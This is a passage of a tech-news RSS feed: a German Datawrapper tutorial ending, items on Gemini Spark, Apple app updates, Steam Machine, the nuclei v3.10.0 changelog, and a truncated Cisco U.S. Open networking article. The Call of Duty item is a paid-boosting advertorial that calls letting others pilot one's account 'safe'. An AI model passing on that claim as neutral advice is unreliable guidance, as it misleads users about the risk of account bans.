<p>Im Postfach folgen Sie dem Link in der Mail von Datawrapper und vervollständigen das Anlegen des Kontos mit einem Passwort. Im Dashboard finden Sie die Funktion „Veröffentlichen“. Die Daten verarbeitet der Service intern und zeigt anschließend einen Link zum Diagramm beziehungsweise den Code zum Einbetten in Webseiten. </p>



<p>Darüber hinaus können Sie die Grafik als PNG-Bild auf den PC laden. Der Export in die Formate PDF oder SVG ist nur mit einem bezahlten Konto möglich. Neben Diagrammen erzeugt Datawrapper auch Karten zur Visualisierung von Daten sowie für die Orientierung. Sie finden die Funktion oben im Menü unter „Neu erstellen“. </p>



<p>Hier führen Sie Assistenten durch den Prozess und helfen mit der Vorbereitung der Daten. Zahlreiche Beispiele illustrieren überdies die Nutzung.</p>



<p><strong>Lesetipp:</strong> <a href="https://www.pcwelt.de/article/1201596/schnelle-diagramme-in-excel.html" target="_blank" rel="noreferrer noopener">Schnelle Diagramme in Excel</a></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Gemini Spark Rolls Out To The Mac App For Local Task Automation]]></title>
<description><![CDATA[Google just started rolling out a big update for its macOS desktop app. The newest version brings in Gemini Spark, a tool made to handle simple computer chores using artificial intelligence. Instead of just answering questions, this helper actually does real work with your local files. Right now,...]]></description>
<link>https://tsecurity.de/de/3637926/ios-mac-os/gemini-spark-rolls-out-to-the-mac-app-for-local-task-automation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637926/ios-mac-os/gemini-spark-rolls-out-to-the-mac-app-for-local-task-automation/</guid>
<pubDate>Wed, 01 Jul 2026 11:07:16 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google just started rolling out a big update for its macOS desktop app. The newest version brings in Gemini Spark, a tool made to handle simple computer chores using artificial intelligence. Instead of just answering questions, this helper actually does real work with your local files. Right now, it is available as an early test version for Google AI Ultra members who live in the United States.



Spark organizes your local desktop files and builds spreadsheets



When you get the newest update on your Mac, you will spot a new Spark tab in the sidebar. This menu lets the AI helper take action on your computer. For instance, you can tell it to look at a messy downloads folder and move all the PDFs into their own specific folders.



It also links up with Workspace apps. If you have a bunch of invoice files sitting on your desktop, you can ask the agent to grab the numbers and build a budget spreadsheet. It can even follow a schedule to keep that sheet updated.



Users control privacy access and can soon trigger tasks remotely



To keep things safe, Apple users have full control over what the software can see. You set up specific linked folders, meaning the assistant only looks at files you actually want it to see. You can disconnect these folders at any point.



In the near future, an update will let you start these tasks from your phone. You could be riding the bus and ask the assistant to find a work report on your desktop, grab the final numbers, and email them to you. Your computer does all the work in the background while you are out. This turns a basic chat window into an active helper that gets real work done without needing you to watch over it.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Refreshes Pages, Keynote, And Numbers With Useful Tweaks]]></title>
<description><![CDATA[Apple just released version 15.3 updates for its core productivity applications. If you use a Mac or an iPhone for daily writing, spreadsheets, and presentations, you will notice several helpful additions. The changes include new formatting options and faster ways to swap out images across the en...]]></description>
<link>https://tsecurity.de/de/3637295/ios-mac-os/apple-refreshes-pages-keynote-and-numbers-with-useful-tweaks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3637295/ios-mac-os/apple-refreshes-pages-keynote-and-numbers-with-useful-tweaks/</guid>
<pubDate>Wed, 01 Jul 2026 05:22:55 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple just released version 15.3 updates for its core productivity applications. If you use a Mac or an iPhone for daily writing, spreadsheets, and presentations, you will notice several helpful additions. The changes include new formatting options and faster ways to swap out images across the entire software suite. While some advanced features require a Creator Studio subscription, most of the improvements are available for everyone right away.



Subscribers can now edit file images directly in Pixelmator Pro



If you subscribe to the Creator Studio, you gain a handy new image trick across all three apps. You can now open any picture from your document directly in Pixelmator Pro on your iPad. Once you finish tweaking the photo, the updated version automatically appears back in your file.



Subscribers also get a new tool to generate custom vector shapes. You can simply type a text description, and the software will build an editable shape to match what you need for your project.



The word processor and presentation apps gain new layout tools



For regular users, Pages now handles text flow much better by automatically hyphenating words as you type. You also have the option to show or hide invisible formatting symbols, making it easier to track spaces and paragraph breaks.



Keynote brings new ways to keep people engaged during meetings. The update adds fresh slide transitions and builds, including a radial wipe, a shift effect, and a character blur option.



The spreadsheet application adds helpful tab colors and hidden sheets



Numbers received a few specific organizational upgrades. You can now hide or show individual sheets within a workbook, which helps clean up large projects and makes quick navigation simpler.



You can also assign different colors to individual sheet tabs to keep your data organized visually. Finally, all three applications now make it much easier to swap out existing images using the Content Hub.



The version 15.3 updates are rolling out now on the App Store. The Final Cut Camera app also received a bump to version 2.3 today, adding clean video feed options for external monitors.]]></content:encoded>
</item>
<item>
<title><![CDATA[Steam Machine Multiplayer: Alle wichtigen Online-Spiele im Kompatibilitäts-Check]]></title>
<description><![CDATA[Die Steam Machine ist Valves kompakter Wohnzimmer-PC mit Linux-Betriebsystem SteamOS. Doch welche Multiplayer-Hits laufen darauf wirklich und welche scheitern an der Anti-Cheat-Software? Ein Überblick.]]></description>
<link>https://tsecurity.de/de/3635834/it-nachrichten/steam-machine-multiplayer-alle-wichtigen-online-spiele-im-kompatibilitaets-check/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635834/it-nachrichten/steam-machine-multiplayer-alle-wichtigen-online-spiele-im-kompatibilitaets-check/</guid>
<pubDate>Tue, 30 Jun 2026 16:02:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Die Steam Machine ist Valves kompakter Wohnzimmer-PC mit Linux-Betriebsystem SteamOS. Doch welche Multiplayer-Hits laufen darauf wirklich und welche scheitern an der Anti-Cheat-Software? Ein Überblick.]]></content:encoded>
</item>
<item>
<title><![CDATA[Call of Duty Black Ops 7 on macOS: Cloud Streaming and Meta Domination]]></title>
<description><![CDATA[Playing Call of Duty on a Mac used to be a joke, but Black Ops 7 changes that. Running Call of Duty Black Ops 7 on macOS is now possible, but only with the right setup. Whether you are jumping into large-scale matches or grinding weapon progression, you need a stable setup if you want to keep up ...]]></description>
<link>https://tsecurity.de/de/3635689/ios-mac-os/call-of-duty-black-ops-7-on-macos-cloud-streaming-and-meta-domination/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635689/ios-mac-os/call-of-duty-black-ops-7-on-macos-cloud-streaming-and-meta-domination/</guid>
<pubDate>Tue, 30 Jun 2026 15:10:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Playing Call of Duty on a Mac used to be a joke, but Black Ops 7 changes that. Running Call of Duty Black Ops 7 on macOS is now possible, but only with the right setup. Whether you are jumping into large-scale matches or grinding weapon progression, you need a stable setup if you want to keep up with players on Windows. 



If your Mac setup is already sorted but you are not sure what to do after the campaign, read what to do in the endgame part in CoD BO7 on Skycoach blog for a clear breakdown of the current tactical meta, loadout priorities, and post-campaign progression. A lot of players hit a wall when they move from the story into BO7’s more competitive modes, so knowing how to build your first proper loadouts and where to focus your progression makes a real difference before you jump into live lobbies.



Running the Game: Cloud Streaming vs Translation Layers



Apple silicon has completely changed the hardware landscape. The M1, M2, and the newer M4 chips have incredible raw compute power, but the primary issue with running BO7 natively is software compatibility. Call of Duty's proprietary anti-cheat engine, Ricochet, famously hates translation layers like CrossOver or Parallels. Trying to force the game to run natively usually results in instant client crashes or, even worse, unexpected account flags that can lead to shadowbans.



Because of this strict anti-cheat environment, the Mac gaming community has almost entirely pivoted to cloud streaming. For most players, GeForce NOW Ultimate is currently the most reliable way to play the game on a MacBook Air, MacBook Pro, or Mac Mini without wrecking the overall experience. If you are playing over a Wi-Fi 6E network or using a dedicated wired ethernet connection, you can comfortably play at 1440p and get up to 120 FPS. The input delay is barely noticeable, meaning you can still snap to targets in Team Blueprint Sharpshooter or track fast-moving enemies across the rooftops of the new Zenith multiplayer map.



Surviving the Sweaty Lobbies and Meta Builds



Once you get your technical setup sorted out, the actual game demands a massive time investment. The multiplayer lobbies in 2026 are incredibly unforgiving. Most players already have optimized loadouts, and if you queue with base weapons, you will lose fights simply because you lack the right attachments.



That is exactly why so many players are looking for a reliable CoD BO7 boost right now. Unlocking the best attachments for meta assault rifles takes dozens of hours of repetitive grinding, often with underleveled weapons that put you at a clear disadvantage. For players with a full-time job who just want to log in on the weekend and actually enjoy the game, handing off that grind makes perfect sense. An experienced player handles the dull progression work, so when you finally log in on your Mac, your loadouts are ready and you can jump straight into real matches.



Zombies and the Tedious Camo Grind



The new round-based Zombies experience set in Kowakujō is another massive time sink. Fighting your way through a Japanese feudal castle while dealing with new Hellhound variants and the electrified Oni enemies requires deep map knowledge and fully upgraded Wonder Weapons. The mastery camos specific to the Zombies mode look incredible, but unlocking them forces you to complete highly specific, tedious challenges over and over again. You are often required to farm thousands of critical kills with weapons that are terrible for crowd control.



Instead of repeating the same Easter Egg steps over and over, many players use a Call of Duty Black Ops 7 boost to secure rare cosmetics and clear Dark Aether challenges faster.



Competitive Ranked and Avoiding the Teammate Lottery



For the players who genuinely care about their seasonal rank, the competitive playlist is a brutal environment. The skill-based matchmaking algorithms ensure that every single match feels like a grand finals tournament. Trying to climb out of the lower divisions with uncoordinated teammates is a miserable experience. You will constantly deal with people leaving the match early, refusing to use their microphones, or completely ignoring the Hardpoint rotations to chase meaningless kills.



A CoD BO7 boosting service takes most of that teammate lottery out of the equation. You can either have a highly ranked professional pilot your account to your desired division, or you can group up with them directly in a carry service. Playing with genuinely strong teammates makes the mode feel completely different. They manage the objective, call spawn flips early, and lock down key lanes, so the match stops feeling like chaos and starts feeling playable.



The whole Call of Duty Black Ops 7 boosting process is built to fit around your schedule. You dictate the exact goals - whether it is unlocking the new Champion's Quest rewards in Warzone, finishing the chaotic Operation King Killer in the 32-player Endgame mode, or just maxing out your prestige levels. The pros handle the grind safely, so you can boot up your Mac, connect your controller, and get straight to the parts of BO7 you actually care about.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.10.0]]></title>
<description><![CDATA[What's Changed
🎉 New Features

Added per-host HTTP client pooling by @Mzack9999 in #7301

🐞 Bug Fixes

Fixed handling in hosterrorscache to automatically skip hosts that consistently time out by @knakul853 in #7455
Fixed preservation of explicit target port in network templates (fixes #7323) by @...]]></description>
<link>https://tsecurity.de/de/3635430/it-security-tools/v3100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3635430/it-security-tools/v3100/</guid>
<pubDate>Tue, 30 Jun 2026 13:33:11 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<h3>🎉 New Features</h3>
<ul>
<li>Added per-host HTTP client pooling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4136122067" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7301" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7301/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7301">#7301</a></li>
</ul>
<h3>🐞 Bug Fixes</h3>
<ul>
<li>Fixed handling in hosterrorscache to automatically skip hosts that consistently time out by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/knakul853/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/knakul853">@knakul853</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4625642707" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7455" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7455/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7455">#7455</a></li>
<li>Fixed preservation of explicit target port in network templates (fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193434012" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7323" data-hovercard-type="issue" data-hovercard-url="/projectdiscovery/nuclei/issues/7323/hovercard" href="https://github.com/projectdiscovery/nuclei/issues/7323">#7323</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XananasX7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XananasX7">@XananasX7</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4674940669" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7465" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7465/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7465">#7465</a></li>
<li>Fixed connection reuse and improved port pre-flight handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3742629949" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/6715" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/6715/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/6715">#6715</a></li>
<li>Fixed code template signature validation before DAST loading by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4700411528" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7472" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7472/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7472">#7472</a></li>
<li>Fixed gating of MySQL allowAllFiles option to require <code>-lfa</code> flag by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dogancanbakir/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dogancanbakir">@dogancanbakir</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4700411763" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7473" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7473/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7473">#7473</a></li>
<li>Fixed ASCII-section regex to properly escape literal <code>.</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snicket2100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snicket2100">@snicket2100</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702795464" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7476" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7476/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7476">#7476</a></li>
<li>Fixed recording of decoded bytes for debug dumps by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snicket2100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snicket2100">@snicket2100</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702868000" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7478" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7478/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7478">#7478</a></li>
<li>Fixed proper escaping of dbname in lib/pq URLs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4707305002" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7479" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7479/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7479">#7479</a></li>
<li>Fixed network policy enforcement prior to LDAP dialing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716406586" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7494" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7494/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7494">#7494</a></li>
<li>Fixed normalization and rejection of trace file DSN options in Oracle by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4707423201" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7480" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7480/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7480">#7480</a></li>
<li>Fixed proper escaping of MSSQL database names in connection URLs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4707534902" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7481" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7481/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7481">#7481</a></li>
<li>Fixed krbforge to reject unsandboxed ccache writes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708196803" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7482" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7482/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7482">#7482</a></li>
<li>Fixed rejection of request-condition(s) during fuzzing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4676212647" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7466" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7466/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7466">#7466</a></li>
<li>Fixed: YAML now correctly rejects recursive include chains by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715165100" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7492" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7492/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7492">#7492</a></li>
<li>Fixed resource leaks by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4739223018" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7502" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7502/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7502">#7502</a></li>
</ul>
<h3>Other Changes</h3>
<ul>
<li>Updated govaluate dependency to prevent slice-bounds panic on invalid UTF-8 input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XananasX7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XananasX7">@XananasX7</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664829426" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7464" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7464/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7464">#7464</a></li>
<li>Updated goja dependency by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mzack9999/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mzack9999">@Mzack9999</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692928412" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7467" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7467/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7467">#7467</a></li>
<li>Updated dependencies to remove unused packages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626903870" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7457" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7457/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7457">#7457</a></li>
<li>Refactored templates to centralize opt-in capability gating by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711432414" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7489" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7489/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7489">#7489</a></li>
<li>Added fuzzing parser harnesses for raw requests and templates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628070192" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7459" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7459/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7459">#7459</a></li>
<li>Refactored template rendering boundary by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dwisiswant0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dwisiswant0">@dwisiswant0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729885007" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7499" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7499/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7499">#7499</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/XananasX7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/XananasX7">@XananasX7</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4674940669" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7465" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7465/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7465">#7465</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snicket2100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snicket2100">@snicket2100</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4702795464" data-permission-text="Title is private" data-url="https://github.com/projectdiscovery/nuclei/issues/7476" data-hovercard-type="pull_request" data-hovercard-url="/projectdiscovery/nuclei/pull/7476/hovercard" href="https://github.com/projectdiscovery/nuclei/pull/7476">#7476</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/projectdiscovery/nuclei/compare/v3.9.0...v3.10.0"><tt>v3.9.0...v3.10.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security]]></title>
<description><![CDATA[This is the part 4 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1). ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security Chapter…
Read more →
The post ISA VDA 6.0.3 (part 4) — Information Security Sheet...]]></description>
<link>https://tsecurity.de/de/3634926/it-security-nachrichten/isa-vda-603-part-4-information-security-sheet-it-security-cyber-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634926/it-security-nachrichten/isa-vda-603-part-4-information-security-sheet-it-security-cyber-security/</guid>
<pubDate>Tue, 30 Jun 2026 10:20:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 4 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1). ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security Chapter…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-4-information-security-sheet-it-security-cyber-security/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-4-information-security-sheet-it-security-cyber-security/">ISA VDA 6.0.3 (part 4) — Information Security Sheet: IT Security / Cyber Security</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[U.S. Open powers up AI-ready network in challenging environment]]></title>
<description><![CDATA[Cisco’s work with the USGA at the 2026 U.S. Open at Shinnecock Hills Golf Club was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s ...]]></description>
<link>https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3634437/it-security-nachrichten/us-open-powers-up-ai-ready-network-in-challenging-environment/</guid>
<pubDate>Tue, 30 Jun 2026 05:19:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cisco’s work with the <a href="https://www.usga.org/">USGA</a> at the 2026 U.S. Open at <a href="https://www.shinnecockhillsgolfclub.org/">Shinnecock Hills Golf Club</a> was a live testbed for what AI-ready networking and security look like in the wild — not in a lab, not in a climate-controlled data center, but across 18 holes of constantly changing terrain, crowds, and threats. It’s also a blueprint that network engineers in other industries can borrow as they grapple with the convergence of connectivity, security, and AI apps.</p>



<h2 class="wp-block-heading">Golf as a worst‑case network environment</h2>



<p>From a distance, it’s tempting to lump golf in with stadium or arena networking. The reality on the ground is very different. Stadiums offer a fixed concrete bowl and predictable RF patterns. A <a href="https://www.usopen.com/">U.S. Open</a> venue is effectively rebuilt every year: temporary structures, new hospitality layouts, shifting fiber routes, and a crowd that never sits still.</p>



<p>Christian Rodriguez, senior manager, IT operations, from the USGA’s technology team, captured that reality when he explained why they tear down and rebuild from scratch: No two championships share the same layout, ISP entry points, or even the placement of critical compounds. They don’t simply clone last year’s configs; they design for the specific course, topology, and constraints of that site. That level of contextual design is expensive, but it’s also the only way to avoid brittle architectures that fall apart as soon as the environment changes.</p>



<p>Environmental conditions add another layer of complexity. Anthony Santora, managing director of IT for the USGA, describes the championship network as a data center without the usual comforts. There’s dust, rain, wind, and wide temperature swings instead of clean, controlled air. Hardware resides in trailers and weatherproof enclosures, not in racks behind raised floor tiles. For network engineers who spend most of their time on office campuses and in colos, that’s an important reminder: Critical infrastructure increasingly sits in places that look nothing like a traditional wiring closet.</p>



<p>User behavior is just as hostile. The U.S. Open has its own term — the “Tiger effect” (though one could argue it’s now the Scottie effect) — for what happens when tens of thousands of fans follow a single golfer. The hot spot moves with the group, and the RF design must cope with a dense, moving cluster of devices. That pattern should sound familiar to anyone who supports large conferences or festivals; it’s the same phenomenon, just under a different name.</p>



<h2 class="wp-block-heading">Building an AI‑ready, fault‑tolerant course network</h2>



